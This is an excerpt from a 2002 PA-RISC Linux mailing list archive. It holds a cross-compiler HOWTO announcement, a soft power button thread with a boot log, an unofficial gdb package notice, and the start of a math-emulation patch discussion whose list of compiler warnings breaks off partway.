X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cross Compiler HOWTO - v1.2 (GCC 3.1 updates and more)
Date: Sat, 20 Apr 2002 12:02:48 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <20020420120248.D22674__32829.5286665254$1416621244$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621244 6376 80.91.229.3 (22 Nov 2014 01:54:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:04 +0000 (UTC)
Cc: baldric-admin@baldric.uwo.ca
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 20 10:02:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D93C74832
	for <parisc-linux@parisc-linux.org>; Sat, 20 Apr 2002 10:02:47 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g3KG2mm22897;
	Sat, 20 Apr 2002 12:02:48 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org,
	baldric-admin@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (59% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14614

Parisc, Debian-hppa,

-----------------------------------------
PARISC-Linux Cross Compiler HOWTO - v1.2 
-----------------------------------------

When you're 715/50 just can't compile fast enough...

http://www.baldric.uwo.ca/~carlos/HOWTO-Parisc/

- Updated examples.
- Updated many things.
- Printable pdf version online (as requested by some people).
- GCC section includes info on building GCC 3.1 from upstream CVS.
- Fixed tpyos.

I've tested this from start to end and it's getting really easy
to roll your own tool-chain! Thank go to all the hard-working people
who make it happen :)

I tested:

GCC 3.0.2 20010905
Binutils 2.12.90.0.4-1

To build a cross-compiler from:

GCC 3.1 20020418
Binutils 2.12.90.0.1-4 (latest in debian pool)
Glibc 2.2.5-4 (latest in debian pool)

-----

If you would like to link against something then link against:
http://www.baldric.uwo.ca/HOWTO/

Which is where the document will reside soon.

You can grab a tarball of the directory at:
http://www.baldric.uwo.ca/~carlos/HOWTO-Parisc/HOWTO-Parisc.tar.gz

-----

Many thanks to Dave, Randolph and Willy who tolerate my incessant
24/7 learning... :)

Cheers,
Carlos.




From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Sat, 20 Apr 2002 18:35:18 +0200
Lines: 165
Approved: news@gmane.org
Message-ID: <OE45GXh6xHs3X0yb7bO00001eac@hotmail.com>
References: <F124jLDxo1dHkLl0atJ00008874@hotmail.com> <OE54mEB4HGXAwxXSXI3000037e7@hotmail.com> <200204201751.27272.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0052_01C1E89A.1F058E70"
X-Trace: ger.gmane.org 1416621244 6382 80.91.229.3 (22 Nov 2014 01:54:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:04 +0000 (UTC)
To: "Helge Deller" <deller@gmx.de>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 20 10:38:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe45.law4.hotmail.com [216.33.148.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18E8B482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Apr 2002 10:38:20 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 20 Apr 2002 09:38:19 -0700
X-Originating-IP: [213.224.83.38]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 20 Apr 2002 16:38:19.0160 (UTC) FILETIME=[C719B980:01C1E889]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14615

This is a multi-part message in MIME format.

------=_NextPart_000_0052_01C1E89A.1F058E70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Nope, soft power-off is enabled as you can see in my attached dmesg. BTW,
when using the old 2.4.9 kernel nothing happened when pressing this switch.

----- Original Message -----
From: "Helge Deller" <deller@gmx.de>
To: "kenneth westelinck" <kennywest1@hotmail.com>;
<parisc-linux@lists.parisc-linux.org>
Sent: Saturday, April 20, 2002 5:51 PM
Subject: Re: [parisc-linux] not freeing initmem and power button


> Hi Kenneth,
>
> I think the problem is your 712/60, which (maybe) doesn't support
> soft-power-off.
> Please look into your dmesg, there you should see one of:
> 1. Gecko-style soft power switch enabled,
> 2. Soft power switch support not available.
> 3. Soft power switch enabled, polling @ 0x<addr>
>
> I suppose your 712/60 will give you #2 and that's why it will not work.
>
> Helge
>
> On Saturday 20 April 2002 15:48, kenneth westelinck wrote:
> > Hi again,
> >
> > Okay, I had a busy week and didn't get any chance to compile a new
kernel.
> > Today I've managed to get the 2.4.18-pa20 up and running, but the power
> > button is still not working as expected. Pressing the button with
"Software
> > power switch support: enabled" powers down the machine instantly (as
> > before). When I disable the powerswitch with "sysctl -w kernel/power=0"
I'm
> > having the same result. Am I missing something?
> > Attached to this mail you can find my .config - file
> > Thanks.
> >
> >
> > regards,
> >
> > Kenneth
>
>

------=_NextPart_000_0052_01C1E89A.1F058E70
Content-Type: application/octet-stream;
	name="dmesg"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="dmesg"

Linux version 2.4.18-pa20 (root@nero) (gcc version 3.0.4) #2 Fri Apr 19 =
19:29:16 CEST 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00006000 00000481 00000000 00000000 77c3f3d6 00000000 00000004 =
00000072 00000072
vers  0000000b
model 9000/712
Total Memory: 64 Mb
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=3D/dev/sda4 HOME=3D/ console=3Dtty0 sti=3D1 =
sti_font=3DVGA8x16 TERM=3Dlinux palo_kernel=3D3/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 59.80 BogoMIPS
Memory: 62012k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Gecko GSC Core Graphics (10) at 0xf8000000 [1], versions 0x16, 0x0, =
0x85
2. Gecko Core BA (11) at 0xf0100000 [2], versions 0x16, 0x0, 0x81
3. Gecko Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x16, 0x0, 0x82
4. Gecko Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x16, =
0x0, 0x8a
5. Gecko Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x16, 0x0, =
0x8c
6. Gecko Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x16, 0x0, =
0x74
7. Gecko Audio (10) at 0xf0104000 [2/0/8], versions 0x16, 0x0, 0x7b
8. Gecko Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x16, 0x0, =
0x83
9. Gecko Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x16, 0x0, =
0x84
10. Gecko Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x16, =
0x0, 0x84
11. Gecko (712/60) (0) at 0xfffbe000 [8], versions 0x600, 0x0, 0x4
12. Memory (1) at 0xfffbf000 [9], versions 0x26, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 60.000000 MHz
Lasi version 0 at 0xf0100000 found.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Gecko-style soft power switch enabled.
Starting kswapd
VFS: Diskquotas version dquot_6.4.0 initialized
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f0080000, hpa=3Df8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, id: 2b4ded6d, mmio: =
0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ =
SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq =3D 90) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=3D32
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 6D F5 E8 IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2=20
scsi0 : LASI SCSI 53c700
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 18 at 0xf0104000, IRQ =
82
sticonsole_init: searching for STI ROMs
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 349k freed
Adding Swap: 124616k swap-space (priority -1)
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
eth0: link ok.

------=_NextPart_000_0052_01C1E89A.1F058E70--



From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unofficial gdb deb on ftp site
Date: Sat, 20 Apr 2002 20:59:52 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020421035952.GI7563@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621245 6388 80.91.229.3 (22 Nov 2014 01:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 20 21:56:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 248EC4830
	for <parisc-linux@parisc-linux.org>; Sat, 20 Apr 2002 21:56:31 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id chqtmaaa for parisc-linux@parisc-linux.org; Sat, 20 Apr 2002 20:55:22 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E49B8CD63F; Sat, 20 Apr 2002 20:59:52 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14616

there is an unofficial gdb debian package at

ftp://ftp.parisc-linux.org/unofficial-debs/gdb_5.2.cvs20020401-4.1_hppa.deb

this is basically the same as the Debian package, except it has a fix
for the '"core" is not a core dump: File format not recognized' bug.

A patch has been submitted to the Debian maintainer, but in the meantime
if you want you can use this package.

I see that Dave has changed hppa-gcc from using stabs to using dwarf2 in
gcc 3.2, so things might be quite different once we move to gcc 3.2...
but for now gdb is only marginally usable.  If anyone is interested in 
looking at gdb, we seem to have some problems with gdb tracking line 
info.  'next' doesn't work at all...

randolph



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Sat, 20 Apr 2002 23:08:17 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <004901c1e8ea$2ac79a00$02c1a8c0@james.co.uk>
References: <F124jLDxo1dHkLl0atJ00008874@hotmail.com>
 <OE54mEB4HGXAwxXSXI3000037e7@hotmail.com> <200204201751.27272.deller@gmx.de>
 <OE45GXh6xHs3X0yb7bO00001eac@hotmail.com>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621245 6395 80.91.229.3 (22 Nov 2014 01:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 20 22:08:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 025A24833
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Apr 2002 22:08:19 -0600 (MDT)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout45-01.icomcast.net
 (iPlanet Messaging Server 5.1 HotFix 0.3 (built Apr  8 2002))
 with SMTP id <0GUW0046BGTRSA@mtaout45-01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Sun, 21 Apr 2002 00:08:15 -0400 (EDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14617

> Nope, soft power-off is enabled as you can see in my attached dmesg. BTW,
> when using the old 2.4.9 kernel nothing happened when pressing this
switch.
>

for what its worth :)

using the 2.4.17 kernel on my 712/60 here & the power switch does an orderly
shutdown

found this kernel fairly stable (no crashes in everyday use) with smbfs
compiled in


James S









From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.18-pa19 fpu problem
Date: Sun, 21 Apr 2002 12:43:30 +0000
Lines: 355
Approved: news@gmane.org
Message-ID: <3CC2B3F2.8000101@freebel.net>
References: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be> <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060402020006040004050201"
X-Trace: ger.gmane.org 1416621245 6402 80.91.229.3 (22 Nov 2014 01:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 21 07:29:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BD924835
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Apr 2002 07:29:27 -0600 (MDT)
Original-Received: from [213.151.40.88] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 16zHOo-0007Bv-00; Sun, 21 Apr 2002 15:29:02 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
X-Scanner: exiscan *16zHOo-0007Bv-00*jetCQv4mVEc* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14618

This is a multi-part message in MIME format.
--------------060402020006040004050201
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Here is attached a patch to avoid 'implicit' warning at compile time.
It is mainly a lk-math-emu.h file collecting math-emu functions 
prototype and also some try to unify the declaration of functions.

Please let me know your opinion.

Humm some other type of warning appear so:
driver.c: In function `handle_fpe':
driver.c:105: warning: passing arg 1 of `decode_fpu' from incompatible 
pointer type
driver.c:105: warning: passing arg 2 of `decode_fpu' makes pointer from 
integer without a cast
...

fpudispatch.c: In function `decode_0c':
fpudispatch.c:372: warning: passing arg 1 of `dbl_fsqrt' from 
incompatible pointer type
fpudispatch.c:372: warning: passing arg 3 of `dbl_fsqrt' from 
incompatible pointer type
fpudispatch.c:384: warning: passing arg 1 of `dbl_frnd' from 
incompatible pointer type
fpudispatch.c:384: warning: passing arg 3 of `dbl_frnd' from 
incompatible pointer type
fpudispatch.c:413: warning: passing arg 3 of `sgl_to_dbl_fcnvff' from 
incompatible pointer type
fpudispatch.c:416: warning: passing arg 1 of `dbl_to_sgl_fcnvff' from 
incompatible pointer type
fpudispatch.c:427: warning: passing arg 3 of `sgl_to_dbl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:430: warning: passing arg 1 of `dbl_to_sgl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:433: warning: passing arg 1 of `dbl_to_dbl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:433: warning: passing arg 3 of `dbl_to_dbl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:442: warning: passing arg 3 of `sgl_to_dbl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:445: warning: passing arg 1 of `dbl_to_sgl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:448: warning: passing arg 1 of `dbl_to_dbl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:448: warning: passing arg 3 of `dbl_to_dbl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:457: warning: passing arg 3 of `sgl_to_dbl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:460: warning: passing arg 1 of `dbl_to_sgl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:463: warning: passing arg 1 of `dbl_to_dbl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:463: warning: passing arg 3 of `dbl_to_dbl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:472: warning: passing arg 3 of `sgl_to_dbl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:475: warning: passing arg 1 of `dbl_to_sgl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:478: warning: passing arg 1 of `dbl_to_dbl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:478: warning: passing arg 3 of `dbl_to_dbl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:487: warning: passing arg 3 of `sgl_to_dbl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:490: warning: passing arg 1 of `dbl_to_sgl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:493: warning: passing arg 1 of `dbl_to_dbl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:493: warning: passing arg 3 of `dbl_to_dbl_fcnvfu' from 
incompatible pointer type
fpudispatch.c:502: warning: passing arg 3 of `sgl_to_dbl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:505: warning: passing arg 1 of `dbl_to_sgl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:508: warning: passing arg 1 of `dbl_to_dbl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:508: warning: passing arg 3 of `dbl_to_dbl_fcnvfut' from 
incompatible pointer type
fpudispatch.c:552: warning: passing arg 1 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:552: warning: passing arg 2 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:583: warning: passing arg 1 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:583: warning: passing arg 2 of `dbl_fcmp' from 
incompatible pointer type
fpudispatch.c:629: warning: passing arg 1 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:629: warning: passing arg 2 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:629: warning: passing arg 3 of `dbl_fadd' from 
incompatible pointer type
fpudispatch.c:641: warning: passing arg 1 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:641: warning: passing arg 2 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:641: warning: passing arg 3 of `dbl_fsub' from 
incompatible pointer type
fpudispatch.c:653: warning: passing arg 1 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:653: warning: passing arg 2 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:653: warning: passing arg 3 of `dbl_fmpy' from 
incompatible pointer type
fpudispatch.c:665: warning: passing arg 1 of `dbl_fdiv' from 
incompatible pointer type
fpudispatch.c:665: warning: passing arg 2 of `dbl_fdiv' from 
incompatible pointer type
fpudispatch.c:665: warning: passing arg 3 of `dbl_fdiv' from 
incompatible pointer type
fpudispatch.c:677: warning: passing arg 1 of `dbl_frem' from 
incompatible pointer type
fpudispatch.c:677: warning: passing arg 2 of `dbl_frem' from 
incompatible pointer type
fpudispatch.c:677: warning: passing arg 3 of `dbl_frem' from 
incompatible pointer type
fpudispatch.c: In function `decode_0e':
fpudispatch.c:783: warning: passing arg 1 of `dbl_fsqrt' from 
incompatible pointer type
fpudispatch.c:783: warning: passing arg 3 of `dbl_fsqrt' from 
incompatible pointer type
fpudispatch.c:795: warning: passing arg 1 of `dbl_frnd' from 
incompatible pointer type
fpudispatch.c:795: warning: passing arg 3 of `dbl_frnd' from 
incompatible pointer type
fpudispatch.c:822: warning: passing arg 3 of `sgl_to_dbl_fcnvff' from 
incompatible pointer type
fpudispatch.c:825: warning: passing arg 1 of `dbl_to_sgl_fcnvff' from 
incompatible pointer type
fpudispatch.c:836: warning: passing arg 3 of `sgl_to_dbl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:839: warning: passing arg 1 of `dbl_to_sgl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:842: warning: passing arg 1 of `dbl_to_dbl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:842: warning: passing arg 3 of `dbl_to_dbl_fcnvxf' from 
incompatible pointer type
fpudispatch.c:851: warning: passing arg 3 of `sgl_to_dbl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:854: warning: passing arg 1 of `dbl_to_sgl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:857: warning: passing arg 1 of `dbl_to_dbl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:857: warning: passing arg 3 of `dbl_to_dbl_fcnvfx' from 
incompatible pointer type
fpudispatch.c:866: warning: passing arg 3 of `sgl_to_dbl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:869: warning: passing arg 1 of `dbl_to_sgl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:872: warning: passing arg 1 of `dbl_to_dbl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:872: warning: passing arg 3 of `dbl_to_dbl_fcnvfxt' from 
incompatible pointer type
fpudispatch.c:881: warning: passing arg 3 of `sgl_to_dbl_fcnvuf' from 
incompatible pointer type
fpudispatch.c:884: warning: passing arg 1 of `dbl_to_sgl_fcnvuf' from 
incompatible pointer type
